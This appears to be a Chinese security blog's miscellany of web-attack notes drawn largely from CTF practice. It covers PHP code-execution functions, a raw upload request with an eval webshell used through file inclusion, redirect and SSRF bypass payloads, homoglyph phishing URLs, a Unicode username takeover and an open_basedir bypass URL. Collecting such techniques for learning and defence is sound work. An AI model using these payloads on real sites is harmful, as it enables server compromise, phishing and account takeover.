Vorder's blog

琐碎知识

字数统计: 1.4k阅读时长: 6 min
2018/11/06 Share

webshell

代码执行方法

https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html
http://blog.evalbug.com/2017/09/21/phpdecode_01/

1
2
3
4
5
6
7
8
9
10
11
12
eval
preg_replace 函数中的 /e 修饰符 create_function
assert
call_user_func
call_user_func_array
usort
uksort
array_map
array_walk
array_filter
$a($b) // 动态组装代码执行
unserialize //反序列化导致代码执行

eval hook检测

evalhook下载:download
配置指南:

1
2
3
4
5
6
7
8
9
10
11
执行phpize(是一个shell脚本,编译PHP扩展的工具,主要是根据系统信息生成对应的configure文件,在evalhook目录下执行)

./configure --with-php-config=/usr/local/php/bin/php-config(先查看自己php-config的目录)

make && make install

然后在php.int添加xx.so扩展(php -i | grep 'php.ini'寻找)

最后修改php.ini配置extension=xx.so

使用方式:php -d extension=xx.so xx.php

大批量解密推荐virink师傅的:phpext_phpjiami_decode

http://php-security.org/2010/05/13/article-decoding-a-user-space-encoded-php-script/index.html


文件包含

1
2
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
#包含自身include.php?file=php://filter/string.strip_tags/resource=include.php引起php7崩溃

奔溃被保存在/tmp/phpXXXXXX(XXXXXX是数字+字母的6位数)
使用burpsuite上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /bestphp/index.php?function=extract&file=php://filter/string.strip_tags/resource=function.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 232
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeScXqSzdW2v22xyk
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=vole2qfdpp1mb0ftiavjokte96
Connection: close

------WebKitFormBoundaryeScXqSzdW2v22xyk
Content-Disposition: form-data; name="fileUpload"; filename="test.jpg"
Content-Type: image/jpeg

<?php echo "flagflag";@eval($_POST[123]); ?>
------WebKitFormBoundaryeScXqSzdW2v22xyk--

使用burpsuite爆破,勾选关键词flag检测
http://localhost:80/bestphp/index.php?function=extract&file=/tmp/phpxxxxxx

来自 https://www.jianshu.com/p/7d63eca80686


重定向跳转

url语法结构

1
2
3
4
5
6
7
8
9
10
URI         = scheme ":" hier-part [ "?" query ] [ "#" fragment ]


foo://example.com:8042/over/there?name=ferret#nose
\_/ \______________/\_________/ \_________/ \__/
| | | | |
scheme authority path query fragment
| _____________________|__
/ \ / \
urn:example:animal:ferret:nose

具体看官网:https://tools.ietf.org/html/rfc3986#section-3

误导向url跳转

用户可能认为访问的是google官网,实则访问baidu 例如:
http://google.com@baidu.com/
//0x7050f849:?.google.com

1.混淆

变形为10/16/2进制的ip 例如:http://google.com@0x7050F849/
将目标网址url编码 例如:http://google.com@%62%61%69%64%75%2e%63%6f%6d

2.其他操作

针对ssrf和重定向绕过payload

1
2
3
4
5
6
7

//baidu.com
///www.baidu.com//..
.baidu.com
http://baidu.com;google.com/
0://baidu.com:80,google.com:80/
http://baidu$google.com #对于bash执行的ssrf来说相当于->0://baidu<empty>.com

其中//xx.com/出现在django漏洞中->cve-2018-14574
xx@xx则在官方rfc3986有讲述到

3.unicode不可见字符钓鱼

原本思考使用@wiki_ascii的unicode可能达到跳转效果:
但当firefox下输入google.com␀.com
发现跳转到http://google.xn--com-zx3a.com这个域名
缩短域名www.google␀.com,跳转至http://www.xn--google-165c.com

又想到反正为unicode,为何不直接寻找相似unicode去伪造网站
https://www.bаidu.com 其中а为U+0430可以达到以假乱真的效果但是qq上无法正确显示网址,而且firefox,chrome有针对其unicode进行转义,上述的xn--com-zx3a.com就是转换后的网址

unicode大全:https://unicode-table.com/cn/

4.针对unicode大小写转换后的攻击

当一个网站运行unicode字符作为用户名,他使用一个python库来判断用户名是否幂等

1
2
3
4
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
def canonical_username(name):
return nodeprep.prepare(name)
canonical_username(u'\u1d2e\u1d35\u1d33\u1d2e\u1d35\u1d3f\u1d30')

这个函数会把大写转换为小写,把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子
BIG会被转换为big, ƁƗƓ会被转换为ɓɨɠ
他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ,例如AAA会被变为aaa则和之前已经注册过的aaa重复 ,但是这里出现了一个错误,注册一个ᴬᴬᴬ,经过函数处理后变成了AAA,因为与aaa不同所以注册成功,而在用户点击重置密码的连接的时候,这个函数再次被执行了一次,AAA变成了aaa,导致用户aaa的密码被越权修改

来自:http://blog.lnyas.xyz/?p=1411

5.域名分割

访问:http://baidu.c℆a.google.com
浏览器会将其分割为http://baidu.cc/ua.google.com
实际测试,浏览器识别为搜索引擎搜索

来自:https://xz.aliyun.com/t/6070

URL Scheme Attack

https://xz.aliyun.com/t/3233
https://xz.aliyun.com/t/5402

mysql错误型注入

updatexml extractvalue 详解

http://blkstone.github.io/2017/11/09/updatexml-sqli/

php的一些特性

当代码中存在\$_REQUEST['user_id'] /?user.id传参去进行绕过,同样可以绕过的符号还有.[+_

详见:https://shuimugan.com/bug/view?bug_no=64792

全局空间:<?= namespace c;\eval(phpinfo());?>
命名空间定义同名,程序调用时优先调用命名空间的同名函数

1
2
<?=create_function($_GET[1],1);?>
/?1=){}phpinfo();//

https://mochazz.github.io/2019/01/12/create_function%E5%87%BD%E6%95%B0%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0RCE/

1
2
3
4
5
6
7
8
9
10
11
12
13
Main points : 
- open_basedir is a INI_ALL directive, and is consequently manageable through ini_set() function, but only to make the rule more strict (the new path is checked against open_basedir)
- open_basedir can be stored as a non resolved relative path

Solution :
- Go into the 'img' dir with chdir() function
- Set the open_basedir restriction to '..' with ini_set(). This will be accepted as it points to /var/www/html, which is authorized against the current open_basedir restriction.
- The value stored in the open_basedir is not resolved; '..' is stored as the new open_basedir restriction. You can chdir('..'); multiple times to go at the root folder.
- You can now reset the open_basedir restriction to /, that completely cancels it.
- ... and read the flag!

Final payload :
http://91.121.31.50/phuck3/?eval=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

计ctf中小坑。

[!] content-type头 :
[+] Content-Type: application/x-www-form-urlencoded
翻车好多次,看清楚请求类型重要!!!

php常见函数bypass

php5和7差异

[Q] : 函数:sprintf()
[A] : %s绕过

CATALOG
  1. 1. webshell
    1. 1.1. 代码执行方法
    2. 1.2. eval hook检测
  2. 2. 文件包含
  3. 3. 重定向跳转
    1. 3.1. url语法结构
    2. 3.2. 误导向url跳转
      1. 3.2.1. 1.混淆
      2. 3.2.2. 2.其他操作
      3. 3.2.3. 3.unicode不可见字符钓鱼
      4. 3.2.4. 4.针对unicode大小写转换后的攻击
      5. 3.2.5. 5.域名分割
    3. 3.3. URL Scheme Attack
  4. 4. mysql错误型注入
  5. 5. php的一些特性
  6. 6. 计ctf中小坑。
    1. 6.1. php常见函数bypass